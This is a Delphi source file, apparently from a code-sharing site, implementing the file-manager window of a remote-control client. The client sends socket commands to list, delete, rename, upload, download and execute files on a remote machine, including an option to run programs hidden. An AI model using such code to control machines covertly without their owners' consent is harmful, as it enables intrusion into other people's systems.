📄 unitfiles.pas
字号:
procedure TFiles.Delete1Click(Sender: TObject);
var
CommandFrame: TCommandFrame;
ReplyStream: TMemoryStream;
Data: string;
begin
if not Assigned(ListView2.Selected) then Exit;
if not SocketConnected then Exit;
if ListView2.Selected.Caption = '.' then Exit;
if ListView2.Selected.Caption = '..' then Exit;
Data := CurrentDirectory + ListView2.Selected.Caption;
CommandFrame.len := Length(Data) + 1;
CommandFrame.Command := F_DELETEDIR;
CommandFrame.ID := FRAME_ID;
ReplyStream := TMemoryStream.Create;
ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
ReplyStream.WriteBuffer(Pointer(Data)^, CommandFrame.len);
Main.SendStream(DataSocket, ReplyStream);
ListView2.Selected.Delete;
end;
procedure TFiles.ListView1Edited(Sender: TObject; Item: TListItem; var S: string);
var
CommandFrame: TCommandFrame;
ReplyStream: TMemoryStream;
Data: string;
begin
if not SocketConnected then Exit;
if Downloading then
begin
S := Item.Caption;
Exit;
end;
if SearchWindow.Searching then
begin
S := Item.Caption;
Exit;
end;
Data := CurrentDirectory + Item.Caption + '|' + CurrentDirectory + S;
CommandFrame.len := Length(Data) + 1;
CommandFrame.Command := F_RENAMEFILE;
CommandFrame.ID := FRAME_ID;
ReplyStream := TMemoryStream.Create;
ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
ReplyStream.WriteBuffer(Pointer(Data)^, CommandFrame.len);
Main.SendStream(DataSocket, ReplyStream);
end;
procedure TFiles.Delete2Click(Sender: TObject);
var
CommandFrame: TCommandFrame;
ReplyStream: TMemoryStream;
Data: string;
begin
if not Assigned(ListView1.Selected) then Exit;
if not SocketConnected then Exit;
Data := CurrentDirectory + ListView1.Selected.Caption;
CommandFrame.len := Length(Data) + 1;
CommandFrame.Command := F_DELETEFILE;
CommandFrame.ID := FRAME_ID;
ReplyStream := TMemoryStream.Create;
ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
ReplyStream.WriteBuffer(Pointer(Data)^, CommandFrame.len);
Main.SendStream(DataSocket, ReplyStream);
ListView1.Selected.Delete;
end;
procedure TFiles.Refresh2Click(Sender: TObject);
var
CommandFrame: TCommandFrame;
ReplyStream: TMemoryStream;
Data: string;
begin
if not SocketConnected then Exit;
Data := CurrentDirectory + '*';
CommandFrame.len := Length(Data) + 1;
CommandFrame.Command := F_LIST;
CommandFrame.ID := FRAME_ID;
ReplyStream := TMemoryStream.Create;
ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
ReplyStream.WriteBuffer(Pointer(Data)^, CommandFrame.len);
Main.SendStream(DataSocket, ReplyStream);
ComboBox1.Enabled := False;
ListView2.Clear;
ListView1.Clear;
end;
procedure TFiles.PopupMenu2Popup(Sender: TObject);
begin
Delete1.Visible := False;
Rename1.Visible := False;
Search1.Visible := False;
if Downloading then
begin
Exit;
end;
if SearchWindow.Searching then
begin
Exit;
end;
if ListView2.Items.Count = 0 then Exit;
if Assigned(ListView2.Selected) then
begin
if not ((ListView2.Selected.Caption = '.') or (ListView2.Selected.Caption = '..')) then
begin
Delete1.Visible := True;
Rename1.Visible := True;
Search1.Visible := True;
end;
end;
end;
procedure TFiles.PopupMenu3Popup(Sender: TObject);
begin
Refresh2.Visible := False;
NewFolder1.Visible := False;
Upload1.Visible := False;
Open1.Visible := False;
Download1.Visible := False;
Delete2.Visible := False;
Rename2.Visible := False;
if Downloading then
begin
Exit;
end;
if SearchWindow.Searching then
begin
Exit;
end;
Refresh2.Visible := ComboBox1.Enabled and (ListView2.Items.Count <> 0);
NewFolder1.Visible := ((not Assigned(ListView1.Selected)) and ComboBox1.Enabled and (ListView2.Items.Count <> 0));
Upload1.Visible := ((not Assigned(ListView1.Selected)) and ComboBox1.Enabled and (ListView2.Items.Count <> 0));
Open1.Visible := (Assigned(ListView1.Selected) and ComboBox1.Enabled and (ListView2.Items.Count <> 0));
Download1.Visible := (Assigned(ListView1.Selected) and ComboBox1.Enabled and (ListView2.Items.Count <> 0));
Delete2.Visible := (Assigned(ListView1.Selected) and ComboBox1.Enabled and (ListView2.Items.Count <> 0));
Rename2.Visible := (Assigned(ListView1.Selected) and ComboBox1.Enabled and (ListView2.Items.Count <> 0));
end;
procedure TFiles.NewFolder1Click(Sender: TObject);
var
CommandFrame: TCommandFrame;
ReplyStream: TMemoryStream;
Data: string;
begin
if not SocketConnected then Exit;
Data := InputBox('目录', '请输入一个目录名', '');
if Length(Data) = 0 then Exit;
Data := CurrentDirectory + Data;
CommandFrame.len := Length(Data) + 1;
CommandFrame.Command := F_CREATEDIR;
CommandFrame.ID := FRAME_ID;
ReplyStream := TMemoryStream.Create;
ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
ReplyStream.WriteBuffer(Pointer(Data)^, CommandFrame.len);
Main.SendStream(DataSocket, ReplyStream);
end;
procedure TFiles.Normal1Click(Sender: TObject);
var
CommandFrame: TCommandFrame;
ReplyStream: TMemoryStream;
Data: string;
begin
if not Assigned(ListView1.Selected) then Exit;
if not SocketConnected then Exit;
if Parameters1.Checked then
begin
Data := InputBox('带参数运行', '请输入一个运行参数', '');
if Length(Data) = 0 then Exit;
Data := CurrentDirectory + ListView1.Selected.Caption + ' ' + Data + '|1';
end
else
Data := CurrentDirectory + ListView1.Selected.Caption + '|1';
CommandFrame.len := Length(Data) + 1;
CommandFrame.Command := F_EXECUTE;
CommandFrame.ID := FRAME_ID;
ReplyStream := TMemoryStream.Create;
ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
ReplyStream.WriteBuffer(Pointer(Data)^, CommandFrame.len);
Main.SendStream(DataSocket, ReplyStream);
end;
procedure TFiles.Hidden1Click(Sender: TObject);
var
CommandFrame: TCommandFrame;
ReplyStream: TMemoryStream;
Data: string;
begin
if not Assigned(ListView1.Selected) then Exit;
if not SocketConnected then Exit;
if Parameters1.Checked then
begin
Data := InputBox('带参数运行', '请输入一个运行参数', '');
if Length(Data) = 0 then Exit;
Data := CurrentDirectory + ListView1.Selected.Caption + ' ' + Data + '|0';
end
else
Data := CurrentDirectory + ListView1.Selected.Caption + '|0';
CommandFrame.len := Length(Data) + 1;
CommandFrame.Command := F_EXECUTE;
CommandFrame.ID := FRAME_ID;
ReplyStream := TMemoryStream.Create;
ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
ReplyStream.WriteBuffer(Pointer(Data)^, CommandFrame.len);
Main.SendStream(DataSocket, ReplyStream);
end;
procedure TFiles.Rename2Click(Sender: TObject);
begin
if Assigned(ListView1.Selected) then ListView1.Selected.EditCaption;
end;
procedure TFiles.Download1Click(Sender: TObject);
var
CommandFrame: TCommandFrame;
ReplyStream: TMemoryStream;
Data: string;
begin
if not Assigned(ListView1.Selected) then Exit;
if not SocketConnected then Exit;
Data := CurrentDirectory + ListView1.Selected.Caption;
CommandFrame.len := Length(Data) + 1;
CommandFrame.Command := F_DOWNLOAD;
CommandFrame.ID := FRAME_ID;
ReplyStream := TMemoryStream.Create;
ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
ReplyStream.WriteBuffer(Pointer(Data)^, CommandFrame.len);
Main.SendStream(DataSocket, ReplyStream);
ComboBox1.Enabled := False;
Downloading := True;
end;
procedure TFiles.Upload1Click(Sender: TObject);
var
dwFileLen: dword;
CommandFrame: TCommandFrame;
ReplyStream: TMemoryStream;
Open: TOpenDialog;
FileStream: TMemoryStream;
FileName: string;
FilePath: string;
begin
if not SocketConnected then Exit;
Open := TOpenDialog.Create(nil);
Open.Title := '选择上传文件';
Open.DefaultExt := '*.*';
SetLength(FilePath, MAX_PATH);
GetCurrentDirectory(MAX_PATH, @FilePath[1]);
Open.InitialDir := FilePath;
if not Open.Execute then Exit;
SetCurrentDirectory(PChar(ExtractFilePath(Open.FileName)));
ComboBox1.Enabled := False;
Downloading := True;
FileStream := TMemoryStream.Create;
FileStream.LoadFromFile(Open.FileName);
FileName := CurrentDirectory + ExtractFileName(Open.FileName);
dwFileLen := Length(FileName);
CommandFrame.len := SizeOf(dword) + dwFileLen + FileStream.Size;
CommandFrame.Command := F_UPLOAD;
CommandFrame.ID := FRAME_ID;
ReplyStream := TMemoryStream.Create;
ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
ReplyStream.WriteBuffer(dwFileLen, SizeOf(dword));
ReplyStream.WriteBuffer(Pointer(FileName)^, dwFileLen);
ReplyStream.CopyFrom(FileStream, 0);
FileStream.Free;
Main.SendStream(DataSocket, ReplyStream);
end;
procedure TFiles.FormActivate(Sender: TObject);
begin
if SearchWindow.Searching then
begin
SearchWindow.Show;
SearchWindow.SetFocus;
end;
end;
procedure TFiles.Search1Click(Sender: TObject);
begin
if Assigned(ListView2.Selected) then
SearchWindow.Edit2.Text := CurrentDirectory + ListView2.Selected.Caption + '\'
else
SearchWindow.Edit2.Text := CurrentDirectory;
SearchWindow.Button1.Enabled := True;
SearchWindow.Button2.Enabled := True;
SearchWindow.Show;
SearchWindow.Searching := True;
end;
procedure TFiles.PopupMenu1Popup(Sender: TObject);
begin
Refresh1.Visible := False;
if Downloading then
begin
Exit;
end;
if SearchWindow.Searching then
begin
Exit;
end;
Refresh1.Visible := True;
end;
procedure TFiles.ComboBox1KeyPress(Sender: TObject; var Key: Char);
begin
Key := #0;
end;
procedure TFiles.N7Click(Sender: TObject);
begin
ListView1.ViewStyle := vsicon;
end;
procedure TFiles.N8Click(Sender: TObject);
begin
ListView1.ViewStyle := vssmallicon;
end;
procedure TFiles.N9Click(Sender: TObject);
begin
ListView1.ViewStyle := vslist;
end;
procedure TFiles.N10Click(Sender: TObject);
begin
ListView1.ViewStyle := vsReport;
end;
procedure TFiles.N12Click(Sender: TObject);
begin
ListView1.ViewStyle := vsicon;
end;
procedure TFiles.N13Click(Sender: TObject);
begin
ListView1.ViewStyle := vssmallicon;
end;
procedure TFiles.N14Click(Sender: TObject);
begin
ListView1.ViewStyle := vslist;
end;
procedure TFiles.N15Click(Sender: TObject);
begin
ListView1.ViewStyle := vsReport;
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -